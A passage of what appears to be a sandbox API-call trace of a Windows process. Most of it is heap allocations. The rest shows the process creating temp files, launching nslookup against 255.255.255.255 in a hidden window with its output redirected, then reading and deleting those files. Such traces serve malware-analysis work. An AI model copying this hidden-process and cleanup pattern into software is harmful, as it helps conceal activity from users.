BaseAddress=0x21f9c78) returned 1 [0056.778] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed468 [0056.778] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9c78 [0056.778] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed660 [0056.778] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed358 [0056.778] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f99f0 [0056.778] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed258 [0056.778] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9960 [0056.778] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed398 [0056.778] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f98d0 [0056.778] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed388 [0056.778] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9b10 [0056.778] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f99a8) returned 1 [0056.778] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3f8) returned 1 [0056.778] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9e28) returned 1 [0056.778] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed4b8) returned 1 [0056.778] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0056.778] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed4c8) returned 1 [0056.778] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9c78) returned 1 [0056.778] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed468) returned 1 [0056.778] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed648) returned 1 [0056.778] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9c30) returned 1 [0056.778] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3d8) returned 1 [0056.778] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9be8) returned 1 [0056.778] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3c8) returned 1 [0056.778] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9ba0) returned 1 [0056.778] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3b8) returned 1 [0056.778] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9b58) returned 1 [0056.778] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3a8) returned 1 [0056.778] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9a38) returned 1 [0056.778] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed578) returned 1 [0056.778] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9840) returned 1 [0056.779] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed318) returned 1 [0056.779] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0056.779] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed328) returned 1 [0056.779] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21effc0) returned 1 [0056.779] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed648 [0056.779] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed328 [0056.779] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0056.779] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed318 [0056.779] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9840 [0056.779] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed578 [0056.779] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9a38 [0056.779] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3a8 [0056.779] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9b58 [0056.779] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f99f0) returned 1 [0056.779] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed358) returned 1 [0056.779] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9960) returned 1 [0056.779] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed258) returned 1 [0056.779] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f98d0) returned 1 [0056.779] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed398) returned 1 [0056.779] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9b10) returned 1 [0056.779] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed388) returned 1 [0056.779] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed660) returned 1 [0056.779] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9b10 [0056.779] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9b10) returned 1 [0056.779] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9b10 [0056.779] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9b10) returned 1 [0056.779] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9b10 [0056.779] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9b10) returned 1 [0056.779] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9b10 [0056.779] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9b10) returned 1 [0056.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f9d50, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0056.779] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eebf8 [0056.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f9d50, cbMultiByte=15, lpWideCharStr=0x21eebf8, cchWideChar=15 | out: lpWideCharStr="255.255.255.255") returned 15 [0056.779] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eeb70 [0056.779] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eebf8) returned 1 [0056.779] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eeb70) returned 1 [0056.779] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eeb70 [0056.780] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f2f60 [0056.780] CryptAcquireContextW (in: phProv=0x18f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8fc*=0x606610) returned 1 [0056.781] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f910 | out: pbBuffer=0x18f910) returned 1 [0056.782] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0056.782] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eebf8 [0056.782] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0056.782] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0056.782] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0056.782] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0056.783] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0056.783] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0056.783] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0056.784] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0056.784] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0056.784] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0056.785] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0056.785] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0056.785] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="v", uUnique=0x0, lpTempFileName=0x21f2f60 | out: lpTempFileName="C:\\Windows\\TEMP\\vDD4E.tmp" (normalized: "c:\\windows\\temp\\vdd4e.tmp")) returned 0xdd4e [0056.785] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eebf8) returned 1 [0056.785] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f45f8 [0056.785] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\vDD4E.tmp", lpszShortPath=0x21f45f8, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\vDD4E.tmp") returned 0x19 [0056.786] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f2f60) returned 1 [0056.786] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eeb70) returned 1 [0056.786] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eeb70 [0056.786] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f2f60 [0056.786] CryptAcquireContextW (in: phProv=0x18f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8fc*=0x606610) returned 1 [0056.786] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f910 | out: pbBuffer=0x18f910) returned 1 [0056.786] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0056.786] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eebf8 [0056.787] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0056.787] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0056.787] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0056.787] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0056.788] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0056.788] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0056.788] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0056.789] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0056.789] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0056.789] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0056.790] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0056.790] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0056.790] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0056.790] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0056.790] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0056.790] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="2cg", uUnique=0x0, lpTempFileName=0x21f2f60 | out: lpTempFileName="C:\\Windows\\TEMP\\2cgDD4F.tmp" (normalized: "c:\\windows\\temp\\2cgdd4f.tmp")) returned 0xdd4f [0056.791] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eebf8) returned 1 [0056.791] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f4a00 [0056.791] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\2cgDD4F.tmp", lpszShortPath=0x21f4a00, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\2cgDD4F.tmp") returned 0x1b [0056.791] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f2f60) returned 1 [0056.791] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eeb70) returned 1 [0056.791] CreateFileW (lpFileName="C:\\Windows\\TEMP\\vDD4E.tmp" (normalized: "c:\\windows\\temp\\vdd4e.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f9ac, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0056.791] CreateFileW (lpFileName="C:\\Windows\\TEMP\\2cgDD4F.tmp" (normalized: "c:\\windows\\temp\\2cgdd4f.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f9ac, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0056.791] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\\\nslookup.exe", lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 255.255.255.255", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18f9ec*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x160, hStdError=0x15c), lpProcessInformation=0x18f9b8 | out: lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 255.255.255.255", lpProcessInformation=0x18f9b8*(hProcess=0x158, hThread=0x164, dwProcessId=0xb98, dwThreadId=0xb94)) returned 1 [0056.798] NtClose (Handle=0x164) returned 0x0 [0056.798] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xea60) returned 0x0 [0059.162] NtClose (Handle=0x160) returned 0x0 [0059.164] NtClose (Handle=0x15c) returned 0x0 [0059.165] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eeb70 [0059.165] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\vDD4E.tmp" (normalized: "c:\\windows\\temp\\vdd4e.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f904 | out: lpFileInformation=0x18f904*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4144ed10, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x4144ed10, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x42aebe10, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x113)) returned 1 [0059.165] CreateFileW (lpFileName="C:\\Windows\\TEMP\\vDD4E.tmp" (normalized: "c:\\windows\\temp\\vdd4e.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0059.165] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x18f948, lpLastWriteTime=0x18f948) returned 0 [0059.165] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x18f934 | out: lpFileSizeHigh=0x18f934*=0x0) returned 0x113 [0059.165] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f940*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f940*=0) returned 0x0 [0059.166] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x140) returned 0x21f9e98 [0059.166] ReadFile (in: hFile=0x15c, lpBuffer=0x21f9e98, nNumberOfBytesToRead=0x113, lpNumberOfBytesRead=0x18f974, lpOverlapped=0x0 | out: lpBuffer=0x21f9e98*, lpNumberOfBytesRead=0x18f974*=0x113, lpOverlapped=0x0) returned 1 [0059.166] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x140) returned 0x21f2850 [0059.166] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9e98) returned 1 [0059.166] NtClose (Handle=0x15c) returned 0x0 [0059.166] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\vDD4E.tmp" (normalized: "c:\\windows\\temp\\vdd4e.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f944 | out: lpFileInformation=0x18f944*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4144ed10, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x4144ed10, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x42aebe10, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x113)) returned 1 [0059.166] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\vDD4E.tmp", dwFileAttributes=0x80) returned 1 [0059.166] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\vDD4E.tmp" (normalized: "c:\\windows\\temp\\vdd4e.tmp")) returned 1 [0059.167] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\2cgDD4F.tmp" (normalized: "c:\\windows\\temp\\2cgdd4f.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f944 | out: lpFileInformation=0x18f944*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4144ed10, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x4144ed10, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x42aebe10, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x67)) returned 1 [0059.167] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\2cgDD4F.tmp", dwFileAttributes=0x80) returned 1 [0059.167] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\2cgDD4F.tmp" (normalized: "c:\\windows\\temp\\2cgdd4f.tmp")) returned 1 [0059.168] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x140) returned 0x21f9e98 [0059.168] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f2850) returned 1 [0059.168] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eeb70) returned 1 [0059.168] NtClose (Handle=0x158) returned 0x0 [0059.168] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f4a00) returned 1 [0059.168] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f45f8) returned 1 [0059.168] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x140) returned 0x21f2850 [0059.168] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f2850) returned 1 [0059.168] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9e98) returned 1 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9b10 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed660 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed388 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f98d0 [0059.169] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9b10) returned 1 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9b10 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed398 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9960 [0059.169] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9b10) returned 1 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9b10 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed258 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f99f0 [0059.169] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9b10) returned 1 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9b10 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed358 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9ba0 [0059.169] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9b10) returned 1 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9b10 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x20) returned 0x21effc0 [0059.169] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed660) returned 1 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3b8 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9be8 [0059.169] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9b10) returned 1 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9b10 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3c8 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9c30 [0059.169] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9b10) returned 1 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9b10 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3d8 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9c78 [0059.169] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9b10) returned 1 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9b10 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed468 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0059.169] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9b10) returned 1 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9b10 [0059.169] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x30) returned 0x21ebc08 [0059.170] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21effc0) returned 1 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed4c8 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9e28 [0059.170] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9b10) returned 1 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9b10 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed4b8 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f99a8 [0059.170] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9b10) returned 1 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9b10 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3f8 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9ac8 [0059.170] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9b10) returned 1 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed378 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9b10 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x30) returned 0x21edd90 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed368 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9a80 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed278 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9cc0 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed478 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9de0 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed488 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f3610 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed5a8 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f3658 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed598 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f36a0 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed348 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f36e8 [0059.170] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed308 [0059.170] RtlAllocateHeap 